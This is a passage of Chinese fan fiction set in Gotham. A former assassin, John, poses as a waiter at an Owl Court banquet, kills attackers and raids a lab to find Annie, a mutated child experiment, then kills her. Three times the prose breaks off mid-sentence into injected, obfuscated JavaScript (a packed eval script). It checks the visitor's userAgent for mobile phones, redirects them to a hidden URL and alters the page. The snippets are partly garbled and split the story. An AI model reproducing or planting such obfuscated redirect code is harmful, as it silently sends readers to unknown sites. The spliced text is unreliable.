她当时站在床上,低着头流鼻血。 几乎是一瞬间,约翰就想象到了当时的画面,结合安妮的人体实验受害者的身份来看,极有可能是实验对她的身体造成了某种损伤,她需要定期服药,或者……她没多少日子可活了,作为失败的试验品而言。 约翰叹了口气,抓着两下头发思考着自己该上哪里去找人。 这时,他突然想起来那张哥谭地图,想起来那个神秘的组织“情报鸟”。 他开车回到住的地方时已是深夜,来不及换衣服,他开始翻箱倒柜地找那个中介留下的名片,然后直接打电话过去,什么也不解释,直说:“开个价,哥谭情报鸟的巢穴。” 原本还睡眼惺忪的中介听到这里立刻清醒了,他揉着眼睛,报了个数,这当然也不是他定下的规矩,他只是顺便也赚着情报鸟那边的中介费罢了。 “钱不急着交,如果你赶时间的话。” 能在大半夜给他打电话要情报鸟巢穴位置的人不是赶时间就是吃饱了没事撑的,很明显约翰是前一种。 挂断电话,约翰又开车赶往哥谭的唐人街,在指路人的领引下穿过一家麻将馆,走到了一扇小门前,指路人已经退下了,走前将一个带着数字的手牌交给了他。 敲了三下门,不一会儿,里面穿来奚奚索索的声音,接着,一个老太太开了门,浑浊的眼球盯着约翰手里的手牌看了一会儿,嘀咕着“原来是加号”,便将约翰放进去了。 虽然地方换了,可规矩还没换,即使这地方开在哥谭也是老样子,明码标价,童叟无欺。 约翰坐到熟悉的小窗前,将自己的问题写在纸上递了进去,一只戴着黑色手套的手将纸收了起来,然后起身离开了了,隔了十分钟左右,对面的人将一个U盘连同一张一百美元的发票递了出来,那一百美元是买下U盘的价格。 至于U盘里面的情报—— 约翰将对面的人第二次递出来发票收好,看了一眼价格,闭了闭眼,又看了一眼价格。 很好,这说明绑架安妮的那帮人来自一个“大货”。 早知道匿名联系蝙蝠侠他们了,布鲁斯这个哥谭首富肯定比他有钱,和他AA也不错啊。 约翰认命般走到结账的地方,将发票递进去,从钱包里摸出卡来,在刷卡机上狠狠地刷了一下。 “诚惠1000100美元。” 窗口里的女人说着,“哐、哐”给那两张发票盖上“已支付”的印章,重新打印一份后将原件还给了约翰。 约翰收回发票,离开了这个吞金窟。 提前退休要交一笔巨额违约金,再说一遍,该死的联盟。 12.行动 这是约翰第一次请假,为了效率,他没有选择求助同事,而是直接打给了大老板艾米莉亚,并以杀手界的私事为由申请休假。 “你最好不是因为被追杀才请的假,提前说一句,公司不收有‘通缉令’的人。” 艾米莉亚话里的意思很明显了,约翰只得再三保证自己和联盟之间是和平分手。 搞定工作上的麻烦,约翰还要发愁武器的问题。通常来说,他用的比较多的武器是枪械一类,没有趁手的武器时就只能就地取材,主打一个能用则用。而这次他要去的是地方是市政区某处的秘密晚宴,枪械一类武器肯定是不能随便带上了,那就只能走老路子。 再说他该如何溜进那个晚宴的事情—— 哥谭最大牌、最古老的一群家族联合组成的一个神秘势力:“猫头鹰法庭”,这样一个组织的成员举办的秘密宴会,怎么想都不是他能随便混进去的,再加上他现在也没有帮手…… 等等。 约翰想起了刚才看到的情报,他伸手关掉电脑桌面上的文件夹,打开了另一个文档,里面赫然记载着猫头鹰发庭成员们的着装要求——必须佩戴面具,隐藏身份。 这样的话,宴会上的侍应生说不定也需要做相应的伪装,如果有人和他身形相仿,“帮助”他混进去也不是不可以。 约翰确定了这一项事宜,继续浏览着有关猫头鹰法庭的情报,当他看到这个组织长久以来一直在针对韦恩家族成员以及后来的蝙蝠侠时,突然,一道猜想击中了他。 “难道,和九头蛇勾搭在一起的组织,就是它吗?” 仔细想来,这似乎很合理,他们想成为哥谭唯一的恐怖存在,又对那些小鸟很感兴趣,有动机、有时机,很合理啊。 约翰说服了自己,他相信他也能说服蝙蝠侠,只要他能得到蝙蝠侠的联络方式,就能匿名说服蝙蝠侠花钱买他的情报,不说赚多少钱,至少要回本。 约翰越想越觉得可行,等他了解完猫头鹰法庭之后,立刻复制了一份数据到另一个U盘里,这就是他之后和人交易的筹码了。 是夜,约翰趁着一名侍应生偷懒之际将人打晕了塞到衣柜里,顺便扒了他的衣服,重新熨烫一遍之后再穿上身。 就在他戴上面具时,因为被他下了药而跑去拉肚子的侍应生终于倒在了洗手间里,领班人喊了最先发现他的人,让对方把人送到医院,自己就坐在更衣室里唉声叹气。本就人手不足的晚宴雪上加霜,他已经可以预想到晚宴上的混乱场景了。 都怪主办方,神神秘秘不说,还对侍应生的要求那么高——身高不低于五点九英尺不说,还不要丑的,戴上面具都一样好吗?真以为是选美比赛啊。 约翰听着他又叹了一口气,然后才算是注意到自己了。 “你不是负责在宴会上端酒盘吗?怎么跑到这儿来了?” 领班人眼睛一眯,怀疑约翰的工作态度。 约翰转过身,手里还拿着一件沾上了香槟的衬衫,显然,他是来换衣服的。 他不用多说一个字,对方已经给他脑补好了。只见领班人恍然大悟般点了点头,又催促着约翰换好衣服了就立刻回到宴会上。 “好的。” 约翰整理好领结,快步离开这里走到香槟台的位置,端起了一盘酒杯,随后便怡然自得地游走在众多宴会客之间,还顺手藏了一些餐刀、餐叉在身上。 那份情报只告诉了他幕后主使是猫头鹰法庭,并没有记录着安妮可能在的位置,情报鸟当然不是万能的,他们也不可能立刻就查到安妮的位置,毕竟这些人每一个都是恶贯满盈之徒,安妮所在的人体实验室可能只是他们名下的众多“资产”之一,细究起来,他今晚要对付的目标还真不少啊。 约翰其实不擅长调查什么东西,不然也不会给情报鸟送那么多钱了。以往在联盟里,他有专门负责给他打场外援助的手下,所以除了情报鸟以外,他从来都不需要去接触这些相关线索,只是按要求完成任务。 而且一个一个地去排查也太耗费时间了,虽然他无论安妮现在是死是活都想把人带出来,但安妮要是还活着当然是最好不过,怕只怕他浪费太多时间,等他晚去一步,人就已经没了。 就像以前一样。 约翰稍躬身,恭敬地将托盘抬起来,抬到一个外表偏男性的人的面前,他的面具与周围其他人的面具都不一样,那是一个花纹繁复的猫头鹰面具,在一众白脸面前,他看起来像是一个领导者。 不过,也就是看起来像而已。 约翰还没傻到真的一个人打进敌方老窝给他们来个一锅端,这场晚宴也不是猫头鹰法庭的那些主要成员们会来的地方。相比起这些勉强被算作是外围成员的家伙们,那些核心成员只会用着他们在外光鲜亮丽的身份、光明正大地参加各种宴会,至于组织内部的集会地点,自然是再隐蔽都不为过。 而那是连情报鸟都没有查出来的、真正的“巢”。 这么说有点残酷,事实就是安妮不会和那些内部人员有关,关不住她一个小孩子的机构只能是这些二百五手下们的。 “叮——叮——” 那个带着猫头鹰面具的男人用茶匙敲了敲玻璃杯,原本嘈杂的人群归于安静,一时间众人只能听到台阶上的男人用他经过变声器处理过的声音说:“我们之中,出了一个间谍。” “什么?” “他在说什么?” “是谁?” “是你!” 人群开始恐慌,他们互相观察、互相诘问,最后迫于台阶上的几声“肃静”而平息怨言。 “这个人的身份,我已有眉目,那就是你——布里诺·巴蒂。” 猫头鹰男指向站在人群边的约翰,被指着的约翰难以置信,他对着自己伸出指头,不自觉地问出口来:“啊?是我吗?” “没错,就是你!” “我连办三场宴会,只有你不在乎那些越来越苛刻的选人条件,连续三次都混到了宴会里当侍应生,试问,如果你不是间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142213|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谍,你为什么要这么坚持!” 约翰:“……” 他想骂人。 哪怕他不是被他打晕的布里诺·巴蒂,他都为这个人感到可悲与可怜。布里诺待业已久,他连续三次参加宴会的原因明明是那么的显而易见,可是,这个该死的猫头鹰男,他居然……甚至不止是他,底下的那些成员们听到他的解释,还恍然大悟地接上话茬。 “原来如此,难怪他要举办三次宴会。” “是啊,我本来还在想他是不是吃饱了撑得,现在看来,他是真的聪明啊。” “是啊,是啊。” 约翰听着这些话,按住抽搐的眼角,心想:“难怪你们只是外围成员。” 他又不禁在心里发问:“这就是近亲结婚的产物吧。”毕竟细究起来,这些家族之间你和我联姻,我和他联姻,他和你联姻,就这么联姻下去,谁和谁之间都是沾亲带故的。 约翰无奈,他想解释,但是猫头鹰男不给他解释的机会,只见他一声令下,宴会里四面八方齐唰唰冒出来一堆打手。 约翰用手里的托盘扇飞一个从右方袭击的人,左手一低,袖子里藏着的餐叉滑了下来,正好被他握在手里。 约翰扔掉坏了的托盘,同时,左手手腕一转,反手就朝身后偷袭的人扎去,直击要害。 约翰右手握住了餐刀,刀尖对准了身前的敌人,视线在他原先锁定的几人身上转悠了一圈。没过一会儿,他轻笑出声,面具底下是一张嘴角都咧起来的笑脸。 不管怎么说,结局都是一样的。 “女士们、先生们,既然宴会将近尾声,那就由我来为大家呈上最后的甜点吧。” 话音落地的刹那,约翰左手松开,叉子上挂着的一具尸体就软绵绵地倒在地上了,他飞身躲进那些外围成员之中,枪声响起的瞬间,一名成员的身体也像是没了骨头的肉块一样,立刻倒下了。 自己人被误伤到,这些人再也不可能装作什么都没发生过的样子了,他们乱作一团,混乱之中,那个猫头鹰男也被人给推了下来,约翰顺脚从他身上踩过,跑向随着人流越走越远的目标们。 约翰也不跟他们兜圈子,用绳子将人一个接一个地捆好后便将所有人的面具都摘掉了,然后伸出手一人给了一个大逼兜。 约翰的审讯与逼问方式就是这么的朴实无华,所以联盟才从来不给他类似的任务,在他的巴掌攻势和言语利诱下,终于有人开口了。 “你们谁先告诉我,自己名下的实验室最近有没有把一个身上长了动物毛的女孩带回去过,我就放他一马。” “我!我有个小实验室,最近新进了一批孩子!” 约翰忍不了一点,反手把人打晕了。 “开口之前想清楚了。” 剩下的人全缩成了鹌鹑样,他们有一个算一个,都想让另一头的打手们赶过来救人,但是很可惜,他们的美好期望只持续了不到五分钟。 在他们面前上演的,是前所未见的恐怖行径。 13.安妮 蝙蝠侠接到消息赶往现场时,戈登已经带着他手底下的人帮忙抬尸体了。 蝙蝠侠站在黑暗里,没有任何人注意到他,除了特地通知他的戈登。 戈登双手叉腰站在台阶下面指挥手下,末了小声对黑暗里的人说:“事情就像你看到的这样,哥谭又有了一个不得了的‘家伙’。” 蝙蝠侠没有说话,他只是看着宴会厅内盖着白布的尸体,血液浸透了那层布,在那上面隐约可见人脸的形状。 戈登叹了口气,语气变得复杂,他的目光看向那些尸体,眼神却十分空洞,好像在看向遥远的、过去的时光。 “这个人给我的感觉……你知道吗,其实并不坏。我也不知道我这是怎么了,我应该知道他是在动用私刑,可是,这些人,如果不是那位神秘人的帮助,我或许永远也不能拿他们怎么样。” 蝙蝠侠还是没有说话,现场除了那些尸体以外,还有许多被绑在一起的人,地上是一堆散落的面具,不难看出,这些人在几小时前还在享受宴会时间,甚至是秘密进行的晚宴。 搬完了死人,接下来就到活人了,因为有现成的绳索,那些警察们也没有浪费这捆好的道具,实在是手铐不够用的,只能隔一段绳子就绑着一个人,然后让他们排队走出来。 奇怪的是,他们没有一个人对此有什么怨言,而是乖乖站了出来,然后有秩序地朝警车走去。 警车旁边还站着一个拿着剪刀的警察,他就是那种所谓的“托关系进来的人”,因为他在这里唯一的作用就是——抬手,来一辆警车,坐上几个衣着靓丽的犯人,人坐满了,把绳子剪断,关上车门,再抬手,再来一辆警车……如此循环往复,直至所有犯人都坐上了车。 蝙蝠侠看着这堪称荒诞滑稽的一幕,心情却不怎么美好,他一 一扫视过那些犯人的脸,面具下的脸严肃到发苦。 这些人虽然被扇得鼻青脸肿,但是并不到毁容的程度,起码监视器后面的管家阿福还是能辨别出其中部分人的长相的。 “……第二辆警车的第一名犯人,他是您父亲的表亲的第二任妻子的弟弟……第三辆警车的第三名犯人,她是凯恩家族某人的情妇,还有……” 阿福一边认,一边说,说到最后,他自己都有点不敢置信,小小一个宴会,竟然有三分之一的人都和韦恩家族有着这样或那样的联系,不知道的还以为这些人是“哥谭神秘黑衣蝙蝠男”的拥趸呢。 蝙蝠侠听着阿福的絮叨,脑海里突然闪过一个人的身影。 之前是不是也有类似的场景? 比如说,企鹅人和他那消失的六名手下? 进港口的时候是七个人,出来的时候只有一个人,怎么想都是港口里一定发生了什么事,毕竟那里藏尸也很方便。 而这次依然,死的人多是全副武装的暴徒,这些人是明面上的保镖,背地里会做些“私活”。 就在阿福絮叨中,红罗宾已经将尸体的个人信息告诉了他,显然,那位出手的人并不是真的喜欢滥杀的人,他明明有能力将那些人一起杀害,但他并没有这么做,反而特地报了警,给警方交代了这些人的罪行,好像他还相信着哥谭的警察局是个普通的警察局。 如果不是红罗宾将接听热线黑到了戈登的手机上,这通报警电话最后有没有被调度中心的人当回事都难说。 难道是外地人? 不,能做到这种程度的,怎么会不调查哥谭的情况呢?连蝙蝠侠都不知道的神秘宴会都找到了,此人的情报网一定不容小觑,他报警也可能是故意为之,要么是钓鱼,要么就是试探警局内部会不会有某些义警的内应。 所以他不出现才是正确的。 只是…… “我们中计了。” 蝙蝠侠对着红罗宾说着,立刻离开了现场,戈登心有预感,他突然转身,身后果然没有任何人。 而离开的蝙蝠侠则正在向红罗宾解释那个“神秘男”报警的用意。 “他猜到这种电话会被转给‘值得信任的人’,戈登和我们有合作这件事不是秘密,所以他想探究的,或许是‘某个擅长黑客技术’的人。” 红罗宾敲键盘的手停滞一瞬,他以为这又是什么“抓鸟游戏”,就把差点说出口的疑问给咽了回去。 “我明白了。” 与此同时,另一边—— “啊嚏!” 约翰的喷嚏吸引了守卫的注意,他立刻贴着墙躲起来,捂着口鼻想是谁在骂他。 等守卫走了,他又开始想那些犯人的事,那个猫头鹰男在混乱中被手下一刀攮死了,剩下的成员有一个算一个手上都不太干净,亲自送到警局路灯上挂起来太浪费他时间了,他赶场子,只能用正常人的正常做法。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159232|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只是现在想来,这个做法似乎有点草率,他也是跟着网友学的,之前也没有验证的机会,也不知道管不管用。 唔…… 约翰想起来那次邻居的邻居家里的对峙,那些警察看起来就很靠谱,所以应该不会有什么问题。 约翰再次说服了自己,反正他记得那些人的样子和身份,总归不会有太大问题就是了,他现在应该专注于做自己的事。 约翰卡着摄像死角的位置将看守打晕了,把人拖进洗手间里,扒光了衣服放在马桶上,自己则脱下厨师的服装,换上看守的衣服走出了洗手间。 “你看见什么没有,居然花这么长时间?” 那名看守的同伴用枪口代替手,冲着约翰指了又指,又在他身后看了看,见空无一人后失望立即发出失望的叹息。 “真无聊。” 他嘟囔着,脑海中灵光一闪,想起他以前看的电影。 “你、你怎么一直低着头?” “你怎么变高了?” “你是不是吃药了,怎么突然变得那么壮实?” 约翰一声不吭,俯身暴冲上去,将人打晕在地,然后一样是拖到厕所里坐着。 搞定这两个人,约翰满意地看着最后一个马桶坐上的位置有了人,感叹:这就是艺术啊! 约翰欣赏完他的佳作,利用员工证一路刷到了实验室中心地带,但是安妮的监禁级别明显要高出其他实验品,普通的员工证派不上用场,他心里有所怀疑,最终决定还是先把人救出来,之后再行观察。 只是这个身份验证还是个麻烦事,约翰还要捣鼓生物锁的事情,一时半会儿都出不了成绩的那种。 不过他今天果然幸运,正愁解码呢,突然就来了一个像博士一样的男人,带着他的助理来到了实验室中心。 约翰及时收拾好了东西,端着枪支站起了岗,他盯着新进来的这个博士,看着他打开了隔离室的门,然后趁着他与助理都不设防之时,一人一枪托砸下去,保证没有一个人是整着眼喘气的。 他走过去把那个博士一脚踢开,连叫了几次安妮的名字。 安妮听到了,抬起头,她在隔离室里待着,手脚上都绑着镣铐。她显然是服用了什么药物或者被打了镇定剂”,此时正努力睁开眼,想要将约翰的模样给牢牢记住。 这是她有意识的最后一眼。 14.危变 很久以前,在约翰还只是个新人的“以前”,联盟里的前辈这样对约翰说着某种秘闻。 “某些人为了得到力量,可以做出任何事情,这其中就包括一种实验——X实验,它将人的基因与动物组合起来,创造出一种怪物,名叫‘弗兰肯斯坦’……” “前辈。” 约翰用剪刀剪断绷带,嘴里咬着一端,另一只手则灵活地将绷带打了个结,做完这些,他才开口打断了这个人的话。 “我看过这部电影。” 没能成功吓唬到新人的杀手嘴一歪,骂骂咧咧地离开了,直到这场异变发生之前,那件事都没在约翰心里留下什么特别的记忆。 “!” 约翰翻身躲开一根被扔向他的铁棍,他先看向深深扎进墙里的铁棍,又转头看向正在拆笼子的剩余部分的安妮,突然就想起来那个前辈当时和他说的玩笑话。 虽然安妮的情况和弗兰肯斯坦没有半毛钱关系,但是—— 约翰看向那个被他打晕的博士,知道要了解情况就只能从这人下手了。 可安妮只是不记得约翰了,又不是忘记了自己的仇人,她一冲出牢笼,立刻就挥舞着一双没那么毛茸茸的、肌肉虬结的手臂冲向了不省人事的博士和助理。 危急时刻,约翰一只脚蹬在墙上,双手发力将那根铁棍拔了出来,然后反手朝安妮掷去。 铁棍穿透安妮的手腕,她大长着嘴,发出动物般的哀嚎,趁着她拔铁棍的时候,约翰一手提着一个人的衣领,把两人从安妮的铁掌下救了出来,然后矮身躲在了另一堆营养舱的后面。 安妮还在后面拆实验室,左一拳一个营养舱,右一拳一个笼子,怒吼着一路扫荡过来。 时间紧迫,约翰当即使出十八般武艺朝博士身上招呼,力求让人快速清醒过来,终于在他将博士的人中都掐紫的时候,这人才悠悠转醒。 不需要他解释什么,博士一听安妮发出的动静,立刻就蹦了起来,兴奋地发出吸引安妮过来的声音。 “成功了!我的复刻实验成功了!我造出了变种人哈哈哈哈哈哈——” 他的笑声戛然而止,约翰早在他蹦出来的时候就带着被吵醒的助理躲到了别处,然后两个人就亲眼目睹了什么叫“手撕人类”。 当其中一部分人类组织被甩到他们这边时,那个助理一边惊恐地捂着嘴,一边拼命朝约翰身边躲,毕竟约翰看起来面无表情,怎么想都比他的心理素质要强大。 “冷静,你们准备实验之前有没有备好抑制器?” 约翰将助理从自己身边推开,扶着他的肩膀小声问他后备方案。 助理努力恢复了一点理智,他一边回忆一边留意周围的动静,整个人恨不得缩进地板下面。 “有、有的,抑制器在仓库里,但是那是强制佩戴型号,要是用了就必须近身……” 约翰得到有用的消息,也不打算再管这人的死活,他想问出仓库的位置,可这名助理显然是脑子反应过来了,一直说要亲自带约翰去仓库,不然他不会多说一个字。 约翰思考了两秒,发现带一个拖油瓶也没什么难度,反正以前又不是没有带过,起码这个还能丢出去,以前那个是联盟会长的孩子,一点也丢不出手。 “可以,带路。” 约翰让助理先行溜到侧门的地方,自己则用顺来的烟雾弹朝安妮的方向扔去。 两人离开地下2层的实验室,争分夺秒跑到上一层的仓库里去,助理顾不上擦汗,手指在电子锁上飞快地点了几下,门“咔”一声缓缓向两边打开。 就在他的眼神亮起之际,只听“啪”的一声,走廊里的灯突然熄灭了,门也保持在了只开了四五指宽的位置上。 “怎么突然?” 助理尖叫着,猛然响起来实验室和电力室的距离,认为实验品是跑到电力室去了,而按照对方的破坏力来算,后备紧急电源肯定也是保不住的。 “完了……全完了……” 他浑身失了力气,颓丧地坐倒在地上,靠着墙壁开始想遗言。 约翰没有理会他,只是打量着仓库的电子门,试探性地伸手进去比划了一下门的厚度。 这种电子门是在两年前开始流行的,约翰曾经使用过非暴力手段打开过它,多少也了解一点门的装置,这东西是某个安全公司研发出来的,断电以后会启动固定装置,宣称“最安全的防御系统”,它只有一个缺点,贵。 如此看来,仓库里面不会只有抑制器,只放着抑制器的仓库是不会用到这种门作为安全装置的。 约翰在门上摸索着,找到发力点后拿着硬币将滑轨撬开了一条缝,他顺势将硬币卡进去,然后双手推这边的门,争取让硬币卡进凹槽里,那里有个隐蔽的解除装置,在非遥控手段下,只能通过人为地施加压力来解开门的安全装置。 而这一点那名助理毫不知情,在他的视角里,约翰是一名力大无穷的男子,竟然徒手掰开了铁门,他终于意识到约翰一个人来闯这个看守严密的机构不是全凭勇气了。 同时,他也咽了口唾沫,担心约翰会趁他没用之际把他也给解决了,于是他眼珠疯狂转动,终于想起来博士曾经和他说过,仓库里还放着一把威力非凡的武器,那是抑制器派不上用场时,解决实验变种人的最后的手段。 他舔了舔干燥起皮的嘴唇,盯着约翰的眼里闪过一丝疯狂。 约翰没注意到那个助理的视线吗?他当然注意到了,在来仓库之前他还想着把人丢在地下实验室里让助理自生自灭呢,傻子都知道把自己的性命握在手里才有安全感,又怎么可能真的依赖于他呢? 只是他懒得搭理对方,他来这里不仅要留意抑制器,还要找一找仓库里的秘密,省得被别人拿出去又添了乱子,他可不想接到那种任务单,就像其他清洁 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约翰躲在货架后面,看着那名助理被安妮那越来越近的吼声给吓到发抖、但还是打开了保险箱的模样,眼睛微眯。 他看着手里的抑制器,思考这是什么型号的物件,高级一点的抑制器是通过抑制变种人能量场来运转的,还有针对特殊基因变种人的抑制器,但是他手里的抑制器设计十分简洁,与其说这是抑制器,倒不如说这是项圈。 对于那些弱小、没有什么攻击性的变种人来说,这个正合适,不会要了他们的性命,而对于普通人类来说,能威胁到他们的就是项圈内部的一次性注射用麻醉装置。 约翰不是随手拿的抑制器,他从一开始就没有想过除了他之外的,助理和安妮的活路。 前者自不必提,协助博士作恶多端,他不是很想救,而后者…… 他曾经杀过不少像安妮这样失控的变种人,无一例外,他们的能力都是实验室的产物,没有人能救下他们,从实验开始,他们就已经没有退路了。 这就是X实验,彻底改变基因的实验。 那个当初和他开玩笑的前辈早就死在了实验变种人的手里,因为他妄想着能够救下被抓去做实验的爱人,直到最后一刻都没有下死手。 然而,他不知道的是,这种实验变种人一旦失控,就意味着死讯将近,这是他们最后能用出来的全部力量,过了一定时间,基因彻底崩溃的实验变种人会死于不可逆的全身器官衰竭…… 是啊,最终也不过是妄想而已。 约翰看到助理将武器拿了出来,此时他已经站在了男人的身后,他抬起手,将抑制器戴在了对方的脖子上。 助理只感到脖子上传来刺痛,随即眼前一黑,便失去知觉倒下。 约翰接手了武器,他会送安妮最后一程。 15.添火加柴 约翰拿着武器,在货架之间快速穿行,不消片刻就与扛着半扇铁门的安妮相遇了。两人面面相觑,最后是安妮率先发动攻击,将肩上扛着的铁门朝约翰扔了过去。 异常简单粗暴的攻击手段,对约翰也不起任何作用,这么看来,她似乎是只是体格变得健壮、力气变得大了些而已,与那些拥有特殊手段的变种人相比,实在构不成什么威胁。 约翰仍在犹豫,并不是因为他对安妮抱有过分的同情心,而是因为他对自己的职业阴影感到茫然。 即使当了清洁工,他也依然在用杀手的思维方式来解决问题吗? 但是约翰只犹豫了两秒钟,再次握紧了手里的武器,他的一个优点就是非常容易看得开,再者,仔细一想,他本来就一直在干着杀手的工作,要是能用一年多的时间就改掉自己身上所有的痕迹的话,那他当初就不必费心遮掩了。 “轰——” 货架接连倒地的声响传来时,约翰刚刚才转移了躲藏的地点,由于不清楚武器的威力,再加上这是建在地面上的仓库,他十分担心自己这一道攻击下去,会连人带墙都炸出个大洞来。 毕竟,这种意外以前又不是没有发生过,他当时赔了好大一笔钱,联盟还不给报销。 约翰趁着安妮摔东西的时候,将武器端到眼前仔细研究了一番,这是一把小型手炮,按钮上方是一个可视化能量槽,从能量槽的规格来看,这武器最多还能使用三次。 三次啊…… 约翰想也不想,立即对着右前方的地板发射了一次攻击。 地板被炸开了一个大洞,约翰试探性地朝洞口望去,看到了地下二层的厕所,几乎每个坐在马桶上的人的头顶都落满了墙灰并且依然昏迷着。他心虚地后退,看向了终于拆迁到仓库深处的安妮。 安妮举起她蒲扇般的大手,挥向约翰时掀起的掌风吹开了他的刘海,约翰向后弯腰躲过一击,稳住重心后将炮口对准了安妮,然后按下了按钮。 这样的武器用来对付她确实是小题大做了,安妮直到死前都没有显露出什么其他能力来,她只是茫然地转动眼珠,眼珠朝下看到了被轰得连渣都不剩的、消失的大部分身体,接着她的大脑像是才接收到这种恐怖的讯息一样,连累她再也无法用那丁点可怜的骨头支撑身体,只能无力地倒下,睁着眼睛迎来了真正的死亡。 约翰则因为那奇葩的开炮姿势和后坐力而闪到了腰,他一屁股坐在原地,看了一眼安妮身上烧焦的伤口,又将口袋里存放着他提前拷贝好的实验数据的U盘拿了出来,眼睛一刻也不错盯着它瞧。 这样的东西不该由他来接手,他来到这里,说到底也只是为了安妮。本来在他心里,安妮是生还是死这种事从一开始就有了定论,他只是无法说服自己接受,所以才走到现在这一步。 他不是好人,但也不是坏到无可救药了,从前不觉得这有什么,可现在他是真的有点讨厌自己的这种“毛病”,要是像那个死变态一样,他或许就不会人财两空……不,那种变态有一个就够了,做人怎么可以向他看齐。 约翰默念了一遍夜校的规章制度,冷静下来后趁着警方和义警们还没赶到现场,迅速离开了这所实验室。 不久后,实验室的内幕彻底曝光,它的拥有者——早先就被逮捕的猫头鹰法庭成员,因此受到了惩罚。与此同时,与猫头鹰法庭这个组织的谣言一并开始流传起来的,还有那首早就为人熟知的歌谣: “当心猫头鹰法庭,时刻监视你出行。 暗处窥望哥谭市,藏于矮墙阁楼间。 居于家中他同在,卧及床间他亦存。 万莫提及他名号,利爪将你头寻来。” 实验室事件结束后,约翰潜入警局偷走了安妮的遗骸安葬起来,并把锅栽赃到了猫头鹰法庭的身上,因为这群家伙太过神秘,他只好用警局的电脑把这首歌谣给打印了出来,纸张就放在电脑的键盘上。 不管哥谭警察局的人信没信,哥谭市民倒是相信了,这件事流传出去以后,不少市民人心惶惶,拒绝看到任何有关猫头鹰标识的产品,间接导致了一批印着猫头鹰图标的炸弹被人掘地三尺挖了出来,然后由专业人士给拆毁了。 挖坑的几名市民受到了市政厅的表扬,尽管他们声称自己当时是喝醉了不记得自己为什么要挖坑了,奖金还是如约送到了他们手上。 此后有关猫头鹰法庭的事情愈演愈烈,不是有人举报猫头鹰们聚众赌博,就是有人挑起帮派和猫头鹰之间的争斗,导致双方皆有一定伤亡,那段时间也是蝙蝠成员们最忙的一段时间,他们平均每人每天要处理三起有关猫头鹰法庭成员的绑架、勒索、暴力威胁、暗杀等内容丰富、形式多样的犯罪活动,忙得在楼层间到处飞窜。 然而这样的情况终究没有长久,突然有一天,关于猫头鹰法庭的活动痕迹就全部消失了,连谣言也没有人再愿意传出了。 蝙蝠洞里,脸上挂着一对黑眼圈的提姆在对一个经常发猫头鹰法庭相关帖的ip进行最后的追踪,突然,隐藏在防火墙中的病毒反过来追着他的代码咬,他与其争斗一段时间,终于如愿以偿侵入系统找到了发帖人的ip。 那地址就在哥谭,哥谭新城。 收到消息的几人都想立刻赶过去查明真相,但是街头的躁动和混乱也不是一时半会就能解决得了的,最后还是由离对方最近的蝙蝠侠前往那个地址。 到了地方,发帖人一句求饶的话都没喊,谁让他只是抬头看见了一只蹲在他窗户上的大蝙蝠,然后腿一软就从椅子上滑了下去了呢,他不假思索,立刻将这件事的原委告诉了蝙蝠侠。 “他和我交易时都是蒙面的,交易地点的光线也很暗,我什么都没看清,只知道他是个男人。” 男人? 勉强也算是给出了一个筛选条件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186730|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 蝙蝠侠再次悄无声息地离开了,然而直到猫头鹰法庭突然回归寂静时,他们也还是没能查出来主导人的身份和相关信息,没用的都市传闻倒是听了不少。 凌晨,相较于往日提前结束夜巡的蝙蝠侠回到了蝙蝠洞里,他摘下面具,坐在显示器前,眼神深沉。 因为明早韦恩集团有会要开,提姆已经被迫回到房间休息去了,阿福正在收拾提姆留下的茶杯,清理完茶具后,他回到蝙蝠洞,看见布鲁斯仍然坐在原处,一动也不动地思考着什么。 “老爷,如果没有什么要紧的事情,您还是回去休息吧,别忘了明天的早会,您一样要参加。” 布鲁斯不想听到任何关于会议的事情,他偏过脑袋装傻,坐着的椅子却被阿福整个调转过来,直接迫使他面向了门口。 在管家无声的威胁下,布鲁斯一步一个脚印,慢悠悠地回到了自己的卧室,躺在床上的那一刻,他还在思考有关约翰的事情。 最近的事情一件接着一件,他怀疑约翰在其中的作用。 从约翰当时救下达米安的举动来看,他的身份一定不简单,至少绝不是什么普通的家政员工,而且那个狙击手一定和约翰认识,不然那次的暗杀行动也不会如此潦草地结束了。 这么看来,约翰的身份其实已经呼之欲出了——职业杀手。 关于职业杀手的调查工作也是最近才展开的,很久之前他收集过一部分名录,可看约翰年轻的模样,或许那份名录里并没有他。 布鲁斯翻了个身,还在想约翰杀手身份的事情,因为猫头鹰法庭的事情,他们对约翰身份的调查工作一度陷入停滞,最近猫头鹰法庭事件暂停,他们才抽出时间来调查约翰。 只是,调查出来的话,就能说明约翰和实验室等事件有关吗? 他当时救下达米安,是下意识的行为,还是为了演戏呢? 布鲁斯依然纠结着,而让他无比纠结的对象此时正在加班工作。 